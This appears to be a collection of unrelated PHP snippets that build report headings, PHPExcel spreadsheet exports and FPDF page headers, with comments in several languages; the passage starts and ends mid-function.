DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"PELUNASAN TIDAK SESUAI.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public function scheme_download(){\n $this->load->library('PHPExcel');\n $this->load->library('PHPExcel/IOFactory');\n\n $objPHPExcel = new PHPExcel();\n \n $objPHPExcel->createSheet();\n \n $objPHPExcel->getProperties()->setTitle(\"export\")->setDescription(\"none\");\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n // Field names in the first row\n $fields = array(\n 'Scheme Name',\n 'Start Date',\n 'End Date',\n 'Product'\n );\n \n $col = 0;\n foreach ($fields as $field)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, 1, $field);\n $col++;\n }\n \n // Fetching the table data\n $this->load->model('scheme/schememodel');\n $results = $this->model_scheme_schememodel->getschemedata($this->request->get);\n \n $row = 2;\n \n foreach($results as $data)\n {\n $col = 0;\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, $data['Scheme_Name']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, $data['START_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, $data['END_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, $data['product_name']);\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n \n \n \n \n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setItalic(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setSize(12);\n $objPHPExcel->getActiveSheet()->getDefaultRowDimension('A1:L1')->setRowHeight(20);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->getColor()->setRGB('FF0000');\n $row++;\n }\n\n \n\n \n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n // Sending headers to force the user to download the file\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"Attendance_report_'.date('dMy').'.xls\"');\n header('Cache-Control: max-age=0');\n\n $objWriter->save('php://output');\n \n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "abstract protected function getColumnsHeader(): array;", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "function headings() {\r\n\t\t// and that they receive anchors so that they may be linked to from the table of contents.\r\n\t\t//ReTidy::force_headings();\r\n\t\tReTidy::heading_anchors();\r\n\t}", "public function TablaHeaderBM( $headings, $header, $fill ) {\r\n\t\tif ($fill) \r\n\t\t\t$this->SetFillColor( 184, 184, 184 );\r\n\t\telse\r\n\t\t\t$this->SetFillColor( 255, 255, 255 );\r\n\t $this->SetTextColor( 0 );\r\n\t $this->SetDrawColor( 0, 0, 0 );\r\n\t $this->SetFont('Arial','B', 7);\r\n\t\t\r\n\t\t$y = $this->getY();\r\n\t\t$x = $this->getX();\r\n\t\t$wi = $header[0]+$header[1]+$header[2];\r\n\t\t\r\n\t\tif ($wi > 0) {\r\n\t\t\t$this->Celda($wi , 8, '', 1, 0, 'C', true );\r\n\t\t\t//,\r\n\t\t\t$i = 3;\r\n\t\t foreach ($headings as $th) {\r\n\t\t $this->Celda( $header[$i], 8, $th, 1, 0, 'C', true );\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t\t$this->Ln();\r\n\t\t\t$y2 = $this->getY();\r\n\t\t\t$x2 = $this->getX();\r\n\r\n\t\t\t$this->setY($y);\r\n\t\t\t$this->setX($x);\r\n\t\t\t$this->SetFont('','B', 7);\r\n\t\t\t\r\n\t\t\t$this->Celda($wi , 4, utf8_decode('CLASIFICACION'), 1, 1, 'C', true );\r\n\t\t\t$this->SetFont('','B', 6);\r\n\t\t\t$this->Celda($header[0], 4, 'GRUPO', 1, 0, 'C', true );\r\n\t\t\t$this->Celda($header[1], 4, 'SUBGRUPO', 1, 0, 'C', true );\r\n\t\t\t$this->Celda($header[2], 4, 'SECCIÓN', 1, 1, 'C', true );\r\n\t\t\t\r\n\t\t\t$this->setY($y2);\r\n\t\t\t$this->setX($x2);\r\n\t\t}\r\n\t\t\r\n\t}", "public function makeExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-tpl.xls');\n\n\t\t$baseRow = 11; // base row in template file\n\t\t\n\t\tforeach($data as $r => $dataRow) {\n\t\t\t$row = $baseRow + ($r+1);\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->insertNewRowBefore($row,1);\n\t\t\t\n\t\t\tif (!empty($dataRow)){\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, ucfirst($dataRow['zone']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row, ucfirst($dataRow['village']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('C'.$row, ucfirst($dataRow['prod_name']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('D'.$row, $dataRow['unit_measure']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('E'.$row, $dataRow['quantity']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('F'.$row, ucfirst($dataRow['quality']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('G'.$row, $dataRow['price']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('H'.$row,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t ucfirst($dataRow['contact_fname']).' '.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t ucfirst($dataRow['contact_lname']).' '.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t 'TEL: ' . $dataRow['contact_tel']);\n\t\t\t}\n\t\t}\n\t\t$objPHPExcel->getActiveSheet()->removeRow($baseRow-1,1);\n\t\t\n\t\t// fill data area with white color\n\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->getStyle('A'.$baseRow .':'.'H'.$row)\n\t\t\t\t\t->getFill()\n\t\t\t\t\t->applyFromArray(\n \t\t\t\t\t\t\t array(\n \t\t \t\t 'type' \t=> PHPExcel_Style_Fill::FILL_SOLID,\n \t\t\t\t\t\t 'startcolor' \t=> array('rgb' => 'FFFFFF'),\n \t\t\t\t \t 'endcolor' \t=> array('rgb' => 'FFFFFF')\n \t\t\t\t\t ));\n\t\t\n\t\t$comNo = $dataRow['com_number'];\n\t\t$deliveryDate = date('d-m-Y', strtotime($dataRow['ts_date_delivered']));\n\t\t\n\t\t$ComTitle = \"INFORMATION SUR LES PRODUITS FORESTIERS NON LIGNEUX DU \" .\n\t\t \"CERCLE DE TOMINIAN No: $comNo Du $deliveryDate\";\n\t\t\n\t\t$titleRow = $baseRow-1;\n\t\t// create new row\n\t\t$objPHPExcel->getActiveSheet()->insertNewRowBefore($titleRow,1);\n\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->mergeCells('A'.$titleRow. ':'.'H'.$titleRow)\n\t\t\t\t\t->setCellValue('A'.$titleRow, $ComTitle)\n\t\t\t\t\t->getStyle('A'.$titleRow)->getFont()\n\t\t\t\t\t->setBold(true)\n\t\t\t\t\t->setSize(13)\n\t\t\t\t\t->setColor(new PHPExcel_Style_Color());\n\t\t\t\t\t\n\t//\t$objPHPExcel->getActiveSheet()->getRowDimension('A'.$titleRow)->setRowHeight(10);\n\t\t\t\t\t\n\t\t$title = 'ComNo'.$comNo;\n\t\t// set title of sheet\n\t\t$objPHPExcel->getActiveSheet()->setTitle($title);\n\n\t\t// Redirect output to a client’s web browser (Excel5)\n\t\theader('Content-Type: application/vnd.ms-excel');\n\t\theader('Content-Disposition: attachment;filename=\"communique.xls\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\t$objWriter->save('php://output');\n\t\texit;\n\t}", "function export_nik_unins_angsuran()\n\t{\n\t\t$angsuran_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_angsuran_unins($angsuran_id);\n\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Angsuran Non-Debet\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"ANGSURAN NON-DEBET.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "function print_column_headers($screen, $with_id = \\true)\n {\n }", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "function Header()\n\t\t{\n\t\t\t$this->SetFont('Helvetica','B',18);\n\t\t\t$this->SetTextColor(184,10,10);\n\t\t\t$this->Cell(30);\n\t\t\t$this->Cell(120,10,utf8_decode(\"Mensajes Contestados\"),0,0,'C');\n\t\t\t$this->Ln(20);\n\t\t}", "function os2forms_nemid_webform_csv_headers_component($component, $export_options) {\n $header = array();\n $header[0] = '';\n $header[1] = '';\n $header[2] = $export_options['header_keys'] ? $component['form_key'] : $component['name'];\n return $header;\n}", "function tck_table_head_cells($cells) {\n $newcells['custom'] = yourls__('Custom Keyword');\n $newcells['actions'] = $cells['actions'];\n \n unset($cells['actions']);\n return array_merge($cells, $newcells);\n }", "function InitDataPrintTitles()\n {\n $titles=array();\n foreach ($this->ColsDef[ \"AllowedDatas\" ] as $data)\n {\n $titles[ $this->MyMod_Data_Title($data) ]=$data;\n }\n\n $names=array_keys($titles);\n sort($names);\n\n $this->ColsDef[ \"SelectNames\" ]=array(0);\n $this->ColsDef[ \"SelectTitles\" ]=array(\"\");\n\n foreach ($names as $name)\n {\n array_push($this->ColsDef[ \"SelectNames\" ],$name);\n array_push($this->ColsDef[ \"SelectTitles\" ],$titles[ $name ]);\n }\n }", "function prepareDefaultHeader()\n {\n $this->formatBuffer .= \"p.normalText, li.normalText, div.normalText{\\n\";\n $this->formatBuffer .= \" mso-style-parent: \\\"\\\";\\n\";\n $this->formatBuffer .= \" margin: 0cm;\\n\";\n $this->formatBuffer .= \" margin-bottom: 6pt;\\n\";\n $this->formatBuffer .= \" mso-pagination: widow-orphan;\\n\";\n $this->formatBuffer .= \" font-size: {$this->fontSize}pt;\\n\";\n $this->formatBuffer .= \" font-family: \\\"{$this->fontFamily}\\\";\\n\";\n $this->formatBuffer .= \" mso-fareast-font-family: \\\"{$this->fontFamily}\\\";\\n\";\n $this->formatBuffer .= \"}\\n\\n\";\n \n $this->formatBuffer .= \"table.normalTable{\\n\";\n $this->formatBuffer .= \" mso-style-name: \\\"Tabela com grade\\\";\\n\";\n $this->formatBuffer .= \" mso-tstyle-rowband-size: 0;\\n\";\n $this->formatBuffer .= \" mso-tstyle-colband-size: 0;\\n\";\n $this->formatBuffer .= \" border-collapse: collapse;\\n\";\n $this->formatBuffer .= \" mso-border-alt: solid windowtext {$this->tableBorderAlt}pt;\\n\";\n $this->formatBuffer .= \" mso-yfti-tbllook: 480;\\n\";\n $this->formatBuffer .= \" mso-padding-alt: 0cm {$this->tablePaddingAltRight}pt 0cm {$this->tablePaddingAltLeft}pt;\\n\";\n $this->formatBuffer .= \" mso-border-insideh: {$this->tableBorderInsideH}pt solid windowtext;\\n\";\n $this->formatBuffer .= \" mso-border-insidev: {$this->tableBorderInsideV}pt solid windowtext;\\n\";\n $this->formatBuffer .= \" mso-para-margin: 0cm;\\n\";\n $this->formatBuffer .= \" mso-para-margin-bottom: .0001pt;\\n\";\n $this->formatBuffer .= \" mso-pagination: widow-orphan;\\n\";\n $this->formatBuffer .= \" font-size: {$this->fontSize}pt;\\n\";\n $this->formatBuffer .= \" font-family: \\\"{$this->fontFamily}\\\";\\n\";\n $this->formatBuffer .= \"}\\n\";\n $this->formatBuffer .= \"table.normalTable td{\\n\";\n $this->formatBuffer .= \" border: solid windowtext 1.0pt;\\n\";\n $this->formatBuffer .= \" border-left: none;\\n\";\n $this->formatBuffer .= \" mso-border-left-alt: solid windowtext .5pt;\\n\";\n $this->formatBuffer .= \" mso-border-alt: solid windowtext .5pt;\\n\";\n $this->formatBuffer .= \" padding: 0cm 5.4pt 0cm 5.4pt;\\n\";\n $this->formatBuffer .= \"}\\n\\n\";\n \n $this->formatBuffer .= \"table.tableWithoutGrid{\\n\";\n $this->formatBuffer .= \" mso-style-name: \\\"Tabela sem grade\\\";\\n\";\n $this->formatBuffer .= \" mso-tstyle-rowband-size: 0;\\n\";\n $this->formatBuffer .= \" mso-tstyle-colband-size: 0;\\n\";\n $this->formatBuffer .= \" border-collapse: collapse;\\n\";\n $this->formatBuffer .= \" border: none;\\n\";\n $this->formatBuffer .= \" mso-border-alt: none;\\n\";\n $this->formatBuffer .= \" mso-yfti-tbllook: 480;\\n\";\n $this->formatBuffer .= \" mso-padding-alt: 0cm {$this->tablePaddingAltRight}pt 0cm {$this->tablePaddingAltLeft}pt;\\n\";\n $this->formatBuffer .= \" mso-border-insideh: {$this->tableBorderInsideH}pt solid windowtext;\\n\";\n $this->formatBuffer .= \" mso-border-insidev: {$this->tableBorderInsideV}pt solid windowtext;\\n\";\n $this->formatBuffer .= \" mso-para-margin: 0cm;\\n\";\n $this->formatBuffer .= \" mso-para-margin-bottom: .0001pt;\\n\";\n $this->formatBuffer .= \" mso-pagination: widow-orphan;\\n\";\n $this->formatBuffer .= \" font-size: {$this->fontSize}pt;\\n\";\n $this->formatBuffer .= \" font-family: \\\"{$this->fontFamily}\\\";\\n\";\n $this->formatBuffer .= \"}\\n\\n\";\n \n if ($this->cssFile != '') {\n if (file_exists($this->cssFile))\n $this->formatBuffer .= file_get_contents($this->cssFile);\n }\n }", "function Header()\n\t{\n\t\t// Police Arial gras 24\n\t\t$this->SetTextColor(255,10,22);\n\t\t$this->SetFont('Arial','B',14);\n\t\t// Décalage à droite\n\t\t$this->Cell(10);\n\t\t// Titre (ligne,titre)\n\t\t$this->Cell('',10,'Liste des employes',0,0,'C');\n\t\t// Saut de ligne\n\t\t$this->Ln(20);\n\t}", "function makeHeader(){\n\tglobal $pdf;\n\t\n\t// logo\n\t$pdf->Image('img/mepbro-pdf.png', 27, 27, 218);\n\t\n\t// title box\n\t$pdf->SetFillColor(51,102,255);\n\t$pdf->Rect(263, 27, 323, 72, 'F');\n\t// title lines\n\t$pdf->SetTextColor(255,255,255);\n\t$pdf->SetFont('Helvetica','B',34);\n\t$pdf->SetXY(263, 31);\n\t$pdf->Cell(323,36,'HOSE TEST', 0, 1, 'C');\n\t$pdf->SetXY(263, 64);\n\t$pdf->Cell(323,36,'CERTIFICATE', 0, 1, 'C');\n\t\n\treturn 126;\n\t\n}", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Zapier Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$poll_id = $this->poll_id;\n\t\t$poll_settings_instance = $this->poll_settings_instance;\n\n\t\t/**\n\t\t * Filter zapier headers on export file\n\t\t *\n\t\t * @since 1.6.1\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $poll_id current Form ID\n\t\t * @param Forminator_Addon_Zapier_Poll_Settings $poll_settings_instance Zapier Poll Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_zapier_poll_export_headers',\n\t\t\t$export_headers,\n\t\t\t$poll_id,\n\t\t\t$poll_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "function pgm_subscriber_column_headers($columns){\n $columns = array(\n 'cb'=>'<input type=\"checkbox\" />', //checkbox-HTML empty checkbox\n 'title'=>__('Subscriber Name'), //update header name to 'Subscriber Name'\n 'email'=>__('Email Address'), //create new header for email\n );\n\n return $columns;\n}", "function krnEmit_reportTitleRow($appEmitter, $title, $colSpan) {\n $s1 = '<div class=\"draff-report-top-left\"></div>';\n $s2 = '<div class=\"draff-report-top-middle\">'.$title.'</div>';\n $s3 = '<div class=\"draff-report-top-right\">'.draff_dateTimeAsString(rc_getNow(),'M j, Y' ).'</div>';\n $appEmitter->row_start();\n $appEmitter->cell_block($s1 . $s2 . $s3 ,'draff-report-top', 'colspan=\"'.$colSpan.'\"');\n $appEmitter->row_end();\n}", "static public function prepHeads()\n {\n self::$heads['row_number'] = '№ п/п';\n self::$heads['locomotive_name'] = 'Наименование';\n}", "public function export_excel(){\n // Load plugin PHPExcel nya\n include APPPATH.'third_party/PHPExcel/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('SIMITA')\n ->setLastModifiedBy('SIMITA')\n ->setTitle(\"Data Koneksi Internet\")\n ->setSubject(\"Koneksi Internet\")\n ->setDescription(\"Laporan Data Koneksi Internet\")\n ->setKeywords(\"Laporan\");\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"LAPORAN DATA INVENTORY INTERNET CABANG\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->getActiveSheet()->mergeCells('A1:G1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 \n $excel->setActiveSheetIndex(0)->setCellValue('B3', \"CABANG\"); // Set kolom B3 \n $excel->setActiveSheetIndex(0)->setCellValue('C3', \"PROVIDER\"); // Set kolom C3 \n $excel->setActiveSheetIndex(0)->setCellValue('D3', \"NO.PELANGGAN\"); // Set kolom D3 \n $excel->setActiveSheetIndex(0)->setCellValue('E3', \"IP PUBLIC\"); // Set kolom E3 \n $excel->setActiveSheetIndex(0)->setCellValue('F3', \"Tgl. Kontrak\");\n $excel->setActiveSheetIndex(0)->setCellValue('G3', \"Tgl. Habis Kontrak\");\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n $internet = $this->m_internet->semua()->result();\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($internet as $data){ // Lakukan looping pada variabel\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->nama_cabang);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->nama_provider);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nomor_pelanggan);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->ip_public);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->tanggal_kontrak);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->masa_kontrak);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n 